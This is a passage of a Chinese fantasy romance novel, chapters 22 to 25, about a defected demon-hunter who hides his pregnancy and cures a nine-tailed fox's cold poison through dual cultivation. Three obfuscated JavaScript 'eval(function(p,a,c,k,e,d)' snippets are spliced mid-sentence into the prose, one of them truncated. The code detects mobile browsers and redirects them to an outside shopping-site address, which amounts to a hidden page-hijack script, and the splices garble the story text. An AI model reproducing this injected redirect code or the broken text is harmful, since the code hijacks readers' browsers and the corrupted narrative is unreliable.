“勾结妖族？”苏言辰闻言不由嗤笑出声：“对，我就是勾结妖族，背叛宗门。可那又如何？” “总好过在这连宗主妖族混血的真实身份都不知晓的玄天宗，每天过着滥杀无辜，屠戮同族的生活。什么替天行道为民除害，这样的宗门不待也罢。” 闻言，几名长老顿时气急。 “放肆！” “竖子尔敢！” 几道剑芒同时朝苏言辰飞速射去。 “就凭你们也敢伤他？！”金色的狐火迅速击退剑芒。 银青伸出长尾护住怀中的青年，肆虐的妖力冲天而起，充斥着整个树林。 22. 第 22 章 后边追击的玄天宗人的身影逐渐消失不见。与此同时，夜幕的降临了。 树影重重的山林之中，苏言辰坐在巨大白狐的背上只觉身下的温度愈发冰冷，他努力拽住狐狸头部的毛发，将身体往狐耳的方向凑了凑，担忧地问道。 “银青，你是不是寒毒发作了？” 先前在望月山之时他便曾见过这只大狐狸寒毒发作时的症状，一如此时这种周身发冷的状况。 方才击退几位长老后，他便隐约感觉到从银青身上发出的寒气，然而当时他只以为是自己失血导致的错觉。 等到后面玄天宗赶来的后援愈发多起来之后，他们开始被迫撤退，他这才意识到这种冷意的源头来自于身下这只自出现后便一直保持狐狸真身的九尾狐妖。 银青的寒毒是不是又加重了？ 回答苏言辰的是一片沉默。 直到见到了熟悉的妖族宫殿的建筑，身下这只大狐狸才停下了脚步。 将背上的青年小心放到门外的地面上，银青这才化作银发金眸的人形。 “现在，安全了。”说完这句话，他的身形突然踉跄了几下。 拒绝了苏言辰想要搀扶的手臂，面色极其惨白的大妖倚靠在门框上，勉强抬起眼眸，轻声叮嘱了一句：“不要靠近我。”随后整个人便闭上双眼，倒了下去。 与此同时，大片大片散发寒气的冰晶刺破银青的衣物覆盖在对方的身上，屋内的温度骤然下降。 “你个傻除妖师，快点离开这里。”身后忽然伸出一只手将苏言辰拉出房间，头顶狐耳的小狐妖银雪出现在苏言辰的背后。他朝房内瞥了一眼，似是对这样的场景习以为常，但那双大眼睛内饱含的担忧清晰可见。 “若是冒然靠近，不但会有沾染寒毒的风险，若是兄长醒后知晓，他定然会耗费狐火为你驱散染上的寒气。”况且，寒冷之物本就不利子嗣……银雪抬眼瞧向站在门口不愿离开的除妖师，心中慢慢呼出一口气。 按夜阑那头蠢狼的说法，这次这个除妖师已然叛出宗门，想必此次定会留在望月山。也就是说，此后他也算他们狐狸洞的一份子，包括他腹内兄长的子嗣。 “如今之计，只能等兄长熬过这次的寒毒之苦，等屋内寒意消减，我们才可靠近他。”见苏言辰没有说话，银雪叹了口气，拉了拉青年的手，不想一下子便将对方拉倒到地上。 “你怎么了？！”银雪慌张地喊道。 或许是来到安全的环境，放松了心神，苏言辰只觉浑身的痛意蓦然弥漫开来，随之而来的是下腹熟悉的剧痛。他捂着腹部坐在地上，咬牙忍住痛呼，同时暗中快速运转起纯阳功法。 不行，不能倒下，银雪是医者，若是自己晕倒后被其检查了身体，他怀孕之事必然会被发现，到时他再想离开望月山躲避银青就不会那么容易了。 等待痛意缓解，苏言辰面色如常地站起身，对盯着他的小狐妖摇了摇头，解释道：“可能是之前吃坏了肚子，缓缓就好多了。” 如今知晓他怀孕的青黛母女早已在半路便和他分开前往南边寻找族人去了，只要他自己不说，别人必然不会知晓他的这个秘密。 听了苏言辰的话，银雪不由自主瞪大眼睛。什么吃坏肚子，这分明，分明就是动胎气了！ 想到这，银雪忽然意识到一件事。 他先前总想着不能告诉兄长除妖师怀孕的事情，却没想过这身为男性人族的除妖师知道自己怀孕后会不会留下这个孩子。 毕竟无论是人族还是妖族，以男身怀孕都是件极其罕见的事情。 “糟糕，这可如何是好。”被苏言辰牵着小手拉去厨房，银雪暗中观察着除妖师的脸色，心中万分抓狂。 …… 距离上次来到狐狸洞的间隔明明并不长，看着殿内那熟悉的布局，苏言辰内心竟有种恍若隔年的感觉。接过小狐妖递给自己的热汤，苏言辰这才感觉到胃内被自己忽视已久的饥饿感。 温热的鸡汤下肚，他静静捧着碗，坐在厨房的一角，只觉心中一片宁静。 等他身体好一些，他便用那《纯阳合欢策》上功法给银青祛除寒毒，等到寒毒驱散…… “喂，除妖师，你喜不喜欢小孩啊？”在路上纠结了半天的小狐妖在薅秃了自己的尾巴毛后，决定先试探一番除妖师的态度。 “小孩？”苏言辰心中警钟瞬间敲响，他不动声色放下碗，朝向银雪，面露困惑：“什么小孩？” “就是你以后想不想拥有一个自己的小孩呀？一个和自己心爱之人孕育的小宝宝。” “……你问这个做什么？” 小狐妖被问住了，眼珠子一转，继续说道：“你们人族不都想要娶妻生子，我这不是好奇嘛。” 苏言辰轻叹一声，揉了揉小狐妖的耳朵，回答道：“我这辈子应该是不会娶妻了。” 虽然至今他还没搞清楚自己的真正取向，但他发现自己并不排斥与银青进行欢好。想来自己应该是喜欢男性的？既然如此，娶妻什么的自然不可能。至于生子，这便不必告诉小狐妖了。 “不会娶妻？”银雪忍不住再次揪住自己的尾巴毛，整个耳朵顿时耷拉下来。 不会娶妻也就意味着除妖师并不想生子，也就是说他并不一定喜欢小孩，四舍五入，除妖师不喜欢小孩，再四舍五入，除妖师不愿意生小孩。 很好！完蛋啦！ 银雪默默放下已经秃了的狐狸尾巴，长长叹了口气：“除妖师，你真是个让人头疼的家伙。” 算了，这让除妖师接受的问题就交给兄长吧。他还是甭操这个心了。 “……” “？” 苏言辰眼睁睁看着身旁这只原本就一派老成的小狐妖脸上突然露出更为沧桑的表情，垂头丧气进了厨房里间，随后端出一碗味道古怪的药汁。 “除妖师，喝了它。养……养身子。” 熟悉的滋味再次唤醒苏言辰的记忆。这不是上次那个小狐妖所说的补血安神的药汁吗？ 等到一口灌下药汁后，他再次看着小狐妖耷拉着狐耳离开了自己所在的房间。 “这小家伙是受什么刺激了？”苏言辰喃喃道，咂摸着口中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281242|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苦味，他竟有些想念燕大娘那勺齁甜的蜂蜜。 未等他找到可以用来缓解苦味儿的东西，耳边突然传来银雪的大喊，声音急促尖锐带着不同寻常的意味。 循声走向银雪的位置，苏言辰的视线忽然落到地面上。 在银青所在宫殿前的地面上已经结上一层薄薄的冰晶，在月色之下反射着冰冷的寒芒。顺着冰晶的痕迹，他看到原本关闭的房门上不知何时挂上了白色的冰霜。刚靠近门口，一股彻骨的寒意便陡然漫过全身。 发出喊声的小狐妖此刻已全然抛去成熟稳重的模样，见到来人，还未曾说话，年幼的身体便已然依靠在苏言辰的身上。 “兄长这次的寒毒比以往都要严重，我还从未见过这样。”小狐妖攥紧手中的布料，喉咙发紧，心头迅速弥漫起阴霾。 “若是……若是兄长的狐火不够，不能与体内寒毒抗衡，那后果……”银雪不愿再细想。 注视着这间可以称得上是冰窟的屋子，苏言辰脑海中突然响起银青晕倒前对他说的话。 现在自己是安全了，但是带给自己安全的人如今却危在旦夕。他低头看向手上的那枚玉扳指，在被那只小白鸟抹了血后这扳指便又多了一抹红色的痕迹。 自己身处危急之时，是银青冒着寒毒的发作救了自己，如今这般凶险必然也是因为在对战玄天宗长老时耗费了太多妖力狐火。 若是银青因为自己而死，这等事情……这等事情他又怎会让其发生！ 抚过自己的小腹，苏言辰眼神逐渐坚定，他上前走到被冰霜封住的门前，门上的冰霜在遇到他手中的极阳之力时像被蒸发一样，眨眼间便没了踪影。 “吱呀”一声，紧闭的房门被打开。苏言辰走进去又将门扉关上，透过门的间隙，他对上小狐妖担忧的眼神，轻声开口道。 “放心。” 放心，他会竭尽全力将银青救回来。 “呼——” 原本寒意笼罩的空间里像是出现了什么迥异不同的物体，雾气逐渐升腾起来。 银色长发的大妖依旧躺在原地，苍白得仿若冰雪雕刻而成的面容在雾气之中多了几分非人之感。 “就像雪女……雪男一样。”苏言辰戳了戳银青冰冷的脸颊。 若不是皮肤还柔软，还有呼吸与心跳，这温度就和非活人没什么区别。 将这只看上去虽身型修长但有九条大尾巴增重的狐妖拖上床榻，苏言辰看着身下安静乖巧任由摆弄的银青，一时间竟有些恍惚。 “怎么无知无觉还能变化？” 瞥了眼狐妖的某处，他摸了摸莫名发烫的脸颊，心中回想着纯阳书册上的双修之法。 随着灵力逐渐流转全身，苏言辰原本的羞耻尴尬之意悄然褪去，那团已然占据整个丹田的极阳之力很快包裹住银青体内的寒毒，并开始蚕食消解。 “难怪那般严重……”苏言辰蹙起眉头。 在双修功法的加持下，他可以很清晰地看清银青体内那股散发阴寒之意的寒毒已经即将蔓延至丹田部位，若是再迟些时日，后果不堪设想。 23. 第 23 章 入夜，深藏山谷的妖族宫殿内。 烛火晃晃悠悠照亮屋内的陈设。因为寒气源头的变化，地面上凝结的冰晶逐渐消散，最后只余薄薄的水雾升腾在空气中。 透过散落下来的床幔，青年修长洁白的身躯若隐若现。 …… ………… “呼——呃……嗯……” 发烫的脸颊紧紧贴着微凉的皮肤，苏言辰力竭趴在大妖的胸口，急促喘息着。呼吸间只觉那股独属于银青的冷香气息愈发浓郁。 就在他休息够了想要从对方身上翻下来之时，一双金色的眼眸悄然睁开。 散落在床榻之上的狐尾缓慢开始舒展，银青起身一把揽住怀里的青年，狭长的狐狸眼微微眯起。 自醒来他便感受到体内那股阴寒的气息弱了不少。方才与苏言辰欢好之时他并非无知无觉，只是由于寒毒的爆发，他整个人都处于半休眠的状态，只能勉强配合青年却不能自主动作。 等到经脉中属于青年的那股灼热的力量撤去，他也终于从寒毒的僵冷中恢复过来。 看见苏言辰面露惊慌的模样，银青心念一动，忽想起对方那害羞的性子，转而开口道：“你放才是在帮我解毒？” “啊，对，我在帮你解毒。”苏言辰应答着，胡乱摸起身旁的衣衫盖在自己身上。 这人怎么突然就醒了？！他还没穿好衣服！ 避开大妖的眼神，苏言辰背过身子，视线在不经意间扫过自己的腰腹，可能是自己过于关注的缘故，他总感觉小腹那块儿很清晰地显出了弧度。 他不由吸了口气，快速套上衣服遮住肚子，再次转过身看向身旁的大妖。 对上那双静静注视着他的美丽双眸，苏言辰视线飘忽了一下，揉了揉又开始发烫的耳垂，低声说道：“上次与你分别后，我便去玄天宗的藏书阁里翻阅了有关寒蟾蜍的记载。里面便有关于寒毒的解法。” “只是这解法有些特别。需要解毒之人修炼出的极阳之力并通过……双修，将中毒之人体内的寒毒祛除。” 说着，苏言辰伸出手指引动丹田中的极阳之力。 一朵散发银芒的小花蓦然出现在他的手指之上，直直对上眼眸稍稍睁大的大妖。 “？” 等等，他的极阳之力怎么成了这种样子？ 还未等苏言辰收回手，那朵小银花又迅速消散开重新化作闪电般的模样静静立在他的指尖。 “……” “你这小花倒是别致。”银青轻轻挑眉，语气中带着些许笑意。 虽然除妖师别扭又害羞，但这些取悦人的小心思倒是格外有趣。若非中意自己，又怎会花这样的心思。 闻言苏言辰忍不住搓了搓指尖，收回手上的极阳之力，干咳一声。 “刚刚那是意外。” 银青不置可否，站起身，赤裸着身躯走下床榻，白玉般光洁的皮肤上满是暧昧的痕迹。 似是发觉了青年目光中的震惊，他笑哼一声，用长尾挑起对方的下巴，蹭了蹭。 “我这副模样不都是你的功劳吗？除妖师或者……言辰，阿辰~” 白狐身后的大尾巴愉悦地摇摆着，见青年不说话，他善解人意地补充道：“礼尚往来，你可以叫我阿青。” “……阿青。” 苏言辰只觉两人之间那股莫名叫人不自在的气氛突然之间就像泡沫一样，被这两个熟悉的字眼戳破。他摇了摇头，发昏的神志蓦然清醒。 “对了，之前你的摄魂印需要用狐火来解，为防万一我便做了这个。” 银青并未发现身前之人的神色变化，手掌翻转间不知从何处取来一枚淡金色的晶体，用长绳穿过便成为一条吊坠。 他将其戴到呆愣住的青年的颈间，介绍道。 “这是我的狐火结晶，其中存储的天狐狐火足够三次淬魂。若要使用只需用灵力将其引出。” 金色晶体内部似乎有火焰在跳动散发着淡淡暖意。苏言辰伸手握住胸前的吊坠，却见银青忽然勾起唇，目光灼灼注视着他，蓦然笑了起来。 “怎料这狐火结晶还未曾送与你，你便从玄天宗出来了。” 蜡烛的暖光映在银青俊美的容颜上，在那双金眸中苏言辰忽然瞧见了属于自己的倒影。 …… 等前去觅食的大狐狸出去后，苏言辰抱着被子呆呆坐了一会儿，摸着自己仿佛还在砰砰急速跳动的心脏，他突然深吸一口气发出无声的叹息。 怎么回事？他怎么觉得自己与银青之间好似多出了什么友情之外的东西？ 谁家好友对视时会心脏莫名加速啊？！ 将脸深深埋进被子里，属于银青的那股冷香幽幽钻进他的鼻间，苏言辰悄悄将手摸进被子里抚摸着自己的小腹，只觉心中无比忧愁。 “不行，等毒解完，我必须立即离开。” 无论是为了自己不再沉沦还是隐藏孩子的存在，他都要抓紧时间离开望月山。 如今银青并不知晓他俩父辈之间的仇恨，他当然可以假装不知在这大妖的领地继续住下去。可现下，不提银青那只狐妖单指他自己，他不能保证自己能忍住不与这只大狐狸发展出友谊之外的情感。 毕竟情难自控……更何况从目前的情况看，这只大狐狸并不排斥，甚至是喜欢与自己发生接触。 苏言辰摸了摸自己被狐尾蹭过的下巴，目光沉沉。 若是就这么放任自己的情感，一旦某天他与银青父辈间的仇恨暴露出来，他俩又该如何相处呢？ “要是没有这杀身之仇就好了。”望着窗外清冷的月色，苏言辰轻轻发出叹息，默默掐断心底刚刚萌发的幼芽。 …… 想到先前除妖师说过的定居之言，一众狐妖很快便在月华村给苏言辰造了一间屋子。 但因为解毒的原因，目前苏言辰依旧还居住在望月山的妖族宫殿内，还是距离银青这只狐妖最近的一间房间。 是夜，苏言辰忽然被一阵翅膀扑腾的声音惊醒。他点燃烛灯，悄悄来到窗下，打开窗户。 两只一黑一白的乌鸦探头探脑从窗户缝钻了进来。 “多日未见，你俩居然长这么大了。”弹了下两只小鸟的脑袋，苏言辰有些惊讶。 最初刚到这望月山时，这两只原本乖乖待在他怀里的小鸟便一下子飞走了，怎么喊也喊不回。当时苏言辰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281243|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还安慰自己，鸟爱自由这是天性。不想时隔许久却又见到了它们两个的身影。 “还以为你俩追求自由去了，今天来是想干什么？” “嘎哇——”两只小鸟发出低鸣，张开嘴巴，还未继续发出声音便被苏言辰塞住了鸟嘴。 “大晚上的，小声点。” 将桌上的糕点喂给两只小鸟，摸着忽然又咕咕叫的肚子，苏言辰突然想吃点夜宵。 不是像糕点这种干巴巴冷硬的食物而是热乎乎可以一下子暖到心口的食物。 也不知为何，最近他的胃口时好时坏，若说是孕吐的影响，倒也未曾。自从来到这个望月山后他已经很久未曾有过恶心的感觉，而随之而来的便是小腹在悄无声息的变大。 好在月份还小，衣服还能遮掩。 朝小鸟做出噤声的手势，他悄悄出了房门。 他与银青两人的房间离厨房的距离都稍稍有些远。走在路上，夜风吹拂带来属于山间的冷意，苏言辰裹紧身上的外衫，忽然有些后悔出来。 但正在咕咕叫的肚子发出抗议，饥饿感促使他继续前进。 胸前的狐火结晶散发着微微暖意，苏言辰不由握紧吊坠，加快了步伐。 点燃厨房的烛火，摸着还有余温的灶台，苏言辰低下身往火塘内瞧了瞧，只看见黑乎乎一片。 回想起平日里银青点火烧塘的模样，他照葫芦画瓢开始操作。 第一步，将火点燃。 等待锅热起的功夫，他抱着肚子在厨房内来回转悠。 “好饿……不如下碗面条？”揭开掩住的面盆，苏言辰发现了晚上剩下的已经擀好的面条。 虽然今生他还从未下过厨房做过饭，但看平日里银青那流畅的动作，想来并非难事。至于那前世记忆中下厨的经验，自然已经模糊不清，即使有也与现下的情况不一样。 收集好即将下锅的食材，苏言辰正欲端起大碗，便忽然听到锅塘发出一声巨响，厨房内也不知不觉弥漫起浓浓的烟雾。 “咳咳……咳！” 好不容易将火熄灭，苏言辰端着内部食材依旧还是生冷的大碗，迎着寒风蹲在厨房门口，下一秒，满是黑灰面无表情的脸上陡然留下两行清晰的水痕。 “做饭……好难。”低头看着不知何时飞到他身边的两只小鸟，苏言辰语气有些哽咽。 尤其是用这种需要烧火的大铁锅。 “阿辰？”身后忽然传来熟悉的声音，苏言辰抱着碗转身望去。 身着寝衣披着外衫的大妖出现他的身后，表情有些疑惑。 “这么晚了，你怎么在这里？” “……肚子饿。”抹去脸上的泪水，青年撇开脸，声音低不可闻。 怎么回事，为什么今天的泪腺这么发达！ 苏言辰再次恨恨抹了把脸，平复了下情绪，被风吹得冰冷的脸庞蓦地抚上一只温暖的手掌。 “外面太冷了，进屋里来。”大妖用柔软毛绒的大尾巴裹住青年的身躯，向他询问道：“你想吃什么？我给你做。” 苏言辰抬起头，露出一双水润泛红的眼睛。他看着身前的大妖，小声说道：“我想吃面，热热的汤面。” 24. 第 24 章 喝完最后一口热汤，苏言辰满足地放下碗，抬眼看见对面撑着头望着自己的大妖，他这才后知后觉感到一阵羞耻。 原本就是不想被人发现才悄悄溜来厨房，结果最后还是被银青捉到了。 “吃饱了？” 见青年放下碗后，脸上的红晕一直蔓延到脖子，一副快要熟了的模样，银青身后的狐尾微微晃动。 阿辰这副害羞的模样真是惹人怜爱。他心中暗道。 “饱了。”苏言辰摸了摸肚子，忍不住打了个呵欠。 或许是胃口得到满足，迟来的困意慢慢涌现出来。 见状，银青不由笑着摇了摇头，视线忽落在对方吃饱后鼓起来的小肚子，身后的狐尾蠢蠢欲动。 这是胖了？ 趁着青年不注意，他悄悄控制狐尾想要戳一戳那圆溜溜的弧度却一下子被人抓住了尾巴。 “你在做什么？”苏言辰感觉到有什么想要触碰自己的小腹，下意识伸手拦住，入手却感觉到一阵毛茸茸的触感。 是银青的白色狐尾。 他扭头看向身旁的狐妖，面上不动声色，心中却突然咯噔一下。 难不成自己肚子里有狐崽的事情被发现了？！ 苏言辰暗中吸了吸肚子，试图让小腹恢复到平坦的状态。 周围忽然安静了片刻。 就在苏言辰胡思乱想之际，却听银青迟疑着发出声音。 “阿辰，你……” 苏言辰不由屏住呼吸。 “……腹部似乎圆润不少，近日修炼可是懈怠了？”银青收回狐尾，心中有些可惜。那圆圆的小肚子一看手感就很好，若是阿辰能给自己摸摸就更好了。 可惜……依阿辰害羞的性子，自己必然实现不了这一想法。 想到这，银青抬眸望向苏言辰，却被青年狠狠瞪了一眼。 “……没有！”苏言辰捏了捏腰身上逐渐变软的肉，心中知晓这是因为怀孕产生的体质变化，但这等原因并不能告诉眼前的大妖。最后，他憋出一个借口。 “我只是吃多了，等明天我肚子就能瘦回来了。”他这样说，同时心中默默想着。 等明天他就换个更宽松的衣衫或者穿多一点，这样自己腹部的凸起就不会像现在这般明显了。 …… 回到自己的房间，苏言辰长呼一口气，瘫倒在床上。 听见鸟类翅膀轻微扑动的声音，他微微侧过脸看向床头。 原本只有婴儿拳头大的小鸟如今已经长成成人手掌大小，一黑一白两个小家伙探头探脑靠近他放在腹部的手，试探性地蹭了蹭，极小声地鸣叫着。 “嘎咕……”小殿下将伴侣照顾的很好。 轻轻嗅闻着青年腹内的天狐血脉气息，白羽因为其中传达出的健康讯息而由衷地感到高兴。 咕到一半，他的尾巴毛忽然被狠狠叨了一下。 “嘎？！”是谁？！ 一只乌漆嘛黑像墨团似的小黑鸟站在他的身后恶狠狠地盯着他，豆大的眼睛里满是挑衅的色彩。 瞪完白羽，墨翎转而跳到苏言辰的侧腰附近，伸出鸟翅膀轻轻触碰着对方的小腹，发出呼噜噜像是安抚的声音。 当初与苏言辰分开既是因为确定了对方的安全也是为了寻找可以让他们两个倒霉蛋儿能尽快化形的办法。 若一直都是鸟，不能传达来自两位陛下的消息，他俩岂不是白受了这穿越空间的苦。可惜找了将近一个月，好不容易得知了增长修为以便化形的异草消息却被告知那草早被人摘走。 就在他俩准备一同返回小殿下们的身边之时，因为白羽说漏嘴，他意外得知了他家人族小殿下所怀子嗣居然是天狐血脉的消息。 虽然他与白羽各为其主，但同为鸦族，隐瞒这般重要的消息实在是过分了些。 墨翎深色的眼珠子瞧向正惊讶望着他的小殿下，感受到身上小殿下温柔抚摸自己的动作，原本愤懑的情绪顿时化作泪水吧嗒吧嗒落了下来。 “嘎——咕啾！”妖族都不是什么好东西！ 居然骗他家小殿下生小孩，呜呜呜，狡猾的小天狐！ “诶哟，怎么哭了？” 苏言辰盘腿坐起来，原本的困意被这一新奇的一幕打消了些许。他伸手将小黑鸟拢到身前，再次揉了揉那毛绒绒的鸟脑袋，凑近一瞧。 烛火照亮那对圆溜溜泛着水光的小鸟眼，苏言辰忽然发觉，原本一直以为的黑色鸟眼实际上居然是极深的紫色，在烛光下现出瑰丽的色彩。 “咔——咳！殿，下……嘎！”手中的小鸟发出人一样的咳嗽声，冷不丁冒出两个字眼。苏言辰一惊，手中猛一用力，将掌心中的小黑鸟勒出了白眼。 “抱歉抱歉。”他连忙松开手，却听到身边有人一般的笑声，间或还有鸟叫的嘎嘎声。 “……” 他瞥了眼身旁缓缓闭上鸟嘴的小白鸟，又望向身前还在发出咳嗽声的小黑鸟，神色逐渐空茫起来。 “我刚才好像幻听了，怎么突然听到鸟说话了，呵呵……又不是妖族，普通小鸟怎么会说话呢？” “殿……下……嘎！殿——” “闭嘴。”苏言辰一把捏住鸟嘴，片刻后手松开。 “你们会说人话？” 苏言辰将小黑鸟喊的那两个字又在心中重复了几遍。 殿……下，殿下？ 这种称呼听起来绝对与他那未曾谋面的人王老父亲有关。 “你们难道是我父亲的人？” 墨翎瞬间激动起来，连连点头。不愧是人王陛下的子嗣，连他的身份都能猜出来。 可惜如今吐字还需多加练习，一次性说不了几个字。就连如今这两个字眼也是多加练习的成果。 想到这，墨翎忽然庆幸起自己与白羽都是属于鸦族的妖族，天生就具有模仿其他飞禽走兽说话的能力。虽然如今因为缺乏练习，使用起来有些困难，但在无法化形前，这能力无疑有助于和小殿下交流。 “所以……我父亲如今在哪里呢？” 苏言辰脑海中忽然想起先前那只青蛇妖所讲的话，所谓这个世界的说法。 “等等。”他忽然皱起眉头，眼睛蓦然瞪大：“之前这个蛇妖明明说了等安全后会告诉我有关于这个世界的消息，还有我父亲的事情，现在怎么一句话也不留直接就跑了？！”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281244|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 想到当时那般危险的情况，苏言辰最终还是叹了口气，视线转移到乖巧立在自己身侧的小鸟身上。 见小鸟又在用翅膀在自己的肚子上挥动，就像在抚摸一样。他心中忽然察觉出一丝异样。 “你……你们难不成，知道我……怀孕了？” 苏言辰指了指自己的肚子，表情有些诧异。 见小鸟们意味深长地点了点头，他不由有些纳闷。 “你们妖族怎么都这么敏锐？” 也不对，苏言辰想到如今还是一副寻常模样的银青，这只大狐狸绝对不知道自己怀孕的消息，否则根本不会像今晚这样。 居然说自己因为修炼懈怠发胖了？！ 苏言辰低下头轻轻戳了戳自己的小腹，转而又轻轻将手掌放在上面。 可能是因为其中有两个小胎儿的原因，距离他发现怀孕的事情才过了一个多月，他的小腹已经肉眼可见地发生了变化。 当下月份不大，这微小的弧度还能用衣服掩饰或者用长胖来解释，等到月份再大一些，他这肚子可就要遮不住了。 默默握住垂在胸前的淡金色狐火结晶，苏言辰感受着那温暖的手感，心下叹息。 如今他那摄魂印已经在银青的帮助下解开，这枚狐火结晶自然成为完全的装饰品。至于银青身上的寒毒…… 他不由蹙起眉头，伸出手指，指尖上无声无息冒出银色闪电样的极阳之力。 经过观察，他已经知道先前那朵银色小花出现的规律。每每他为银青驱散完寒毒后，初次显露出极阳之力时，这闪电状的力量就会化作花的模样，就好像是双修后的特殊象征似的。 “果然是合欢宗的功法，总有地方透着不正经的感觉。” 散去手上的极阳之力，他轻轻呼出一口气。 可能因为是寒蟾蜍临死前报复再加上这毒素在银青身上待了太久，解毒的过程十分艰难。在他初次为银青除去大部分的毒素后，余下部分甚至还会像活物一样躲藏，故而原本可以一两次解完毒的双修之举又在原本的基础上增加了三次四次。 ……五次。 感谢银青这只大狐狸不是那种狂野类型的床上伴侣，否则以他现在这怀崽状态，崽还不得被做掉了。 当然……其中也有寒毒限制中毒之人行动的原因。 想到这里，苏言辰脑海中不由回忆起最初替银青这只貌美的大狐狸解毒时的场景。 寒毒最重时也是行动最受限制之时，当时身处上位掌控节奏感自然叫人心生愉悦，看身下的狐耳美人因为自己的动作做出反应也颇为快意，但是与后几次的双修相比着实有些……费腰。 “……”苏言辰不由沉默。绝对是因为怀孕导致体力弱的原因，不是他不行。 万幸如今寒毒只剩下细微的一点，只需再进行最后一次双修，银青身上的寒毒便能彻底祛除，他也就能放下心找机会离开望月山。 之后……他又该去哪边安家呢？ 望着窗外的月色，苏言辰手中慢慢抚摸着两只小鸟球光滑柔软的羽毛。半晌，忽然将其中的小黑鸟拎到自己面前。 “你能带我找到我的父亲吗？” 25. 第 25 章 清晨山间的雾气还未散去，树荫遮掩的山间林地传来铮铮剑鸣。 少顷，一声尖锐的鸟叫打破林间的和谐。 苏言辰擦去额间的汗水，看着叽叽喳喳围在自己身边的黑色小鸟不由挑眉，伸出手指轻轻一弹。 “大清早的这么有活力？” 昨夜由于困倦，他还未听完墨翎说的消息便直接睡过去了，等到了清早醒来之时，见桌上窝在鸟窝里的两只鸟还在沉睡，他便起来修习剑法。 腹部长胖的缘由固然是因为怀孕，但也不可否认，他来到望月山后修炼是有些懈怠了。除去为了解毒运用愈发熟练的纯阳功法，其余…… 挥剑将头顶飘落的树叶斩成大小相似的两半，苏言辰干脆地收起长剑。 自上次在实战中运用剑术后，他对剑术似乎有了不一样的领悟。虽说只是玄天宗用来除妖的基础剑法，但多数法诀往往都是从基础演化而来，经过十几年如一日的练习，那剑法早已铭记于心。如今重新拾起也只需一个早晨。 “不，嘎！不愧……殿，下！”墨翎叼起飘飞的残叶，伸出爪子，细细欣赏一番收了起来，人言与鸟叫掺杂着，一字一顿说着话：“像……陛，下。” 摩挲着长剑上的红绳，苏言辰轻轻“哦”了一声，转而问道：“莫非我的父亲也擅长剑法？” 昨日他初初听到这个世界的大致情况，知晓自己是处在一个基本与大世界隔绝的小世界，一个名叫无根之境的地方。 若无鸦族的秘法，想进入这个小世界也是极难的一件事，而进了该世界后想要出去便只有一个办法，即找到无根之境的封印钥匙，解开世界封印，使大小世界联通。 听到苏言辰的问话，墨翎止不住点头。 可不是嘛，人王本就以剑道成王，若他还不擅长那还有谁擅长？ 随后便听见他的小殿下眼中忽然闪过一道莫名的色彩，扭头看着他。 “若出了这无根之境，在你所说的大世界，是不是就可以御剑飞行了？”苏言辰好奇地问道。 照墨翎这个鸦妖的说法，他如今所在的小世界灵气稀少，修行所受的限制也极多，能修炼到筑基都少有，更别提什么御剑飞行。 既如此，那想必在对方所说的大世界，灵气应是更加充沛，修炼之人的修为也更加高深。 他不由回忆起在最初的梦境中他那父亲一剑便削去半个山头的威势。 从墨翎这里得到了肯定的回答，苏言辰不由对大世界升起浓浓的兴趣。 对飞行的渴望自古就刻在人的基因里。倘若能有御剑飞行，踏上追求长生之路的机会，这种机会又有何人能拒绝呢？ 畅想片刻，苏言辰拉回飞远的思绪。现在想这些实在有些早。当务之急还是想好离开望月山后自己的安身之处吧。 昨晚他原想着自己能否去投靠他的父亲，却不想他和他那个老父亲相隔两个世界。与其去投靠父亲不如自己另寻他处。 “对了，白羽去哪边了？”苏言辰朝四周看了看并未发现另一只白色小鸟的下落，以往这两只鸟可是结伴出行，今日跟在他身边的却只有一只。 “他，嘎！找……天……狐。” 去找银青了？ 苏言辰拍拍衣服站起身，往妖族宫殿走去。 今日他出门时便发觉隔壁房间已经没有了那只狐狸的身影。 说来也奇怪，无论是从前还是现在，想在白日里狐狸洞长时间见到银青似乎是一件难事。 “就好像在外面忙着什么似的。”他小声嘀咕着。 至于到底去做什么了，他未曾问过，旁人也不会主动告知。毕竟自己与狐狸洞中的妖族相处的时间并不长，他一个叛出宗门的除妖师对于这些妖来说当然算是个外人。 ……倒是他越界了。 如此想着，苏言辰却感觉心中像被什么堵着，叫人烦闷不乐。 返回宫殿时，大多狐妖已经吃完早饭各自活动去了，温暖的厨房里只剩银雪以及一只神情慵懒闲适的九尾大狐狸。 毛绒的长尾熟练地缠绕在青年的腰身上，将他轻推到桌前。 木质的桌上摆着还冒着热气的小食，看起来并非是狐狸洞里妖族的手艺。 “你早晨是去镇上了吗？” 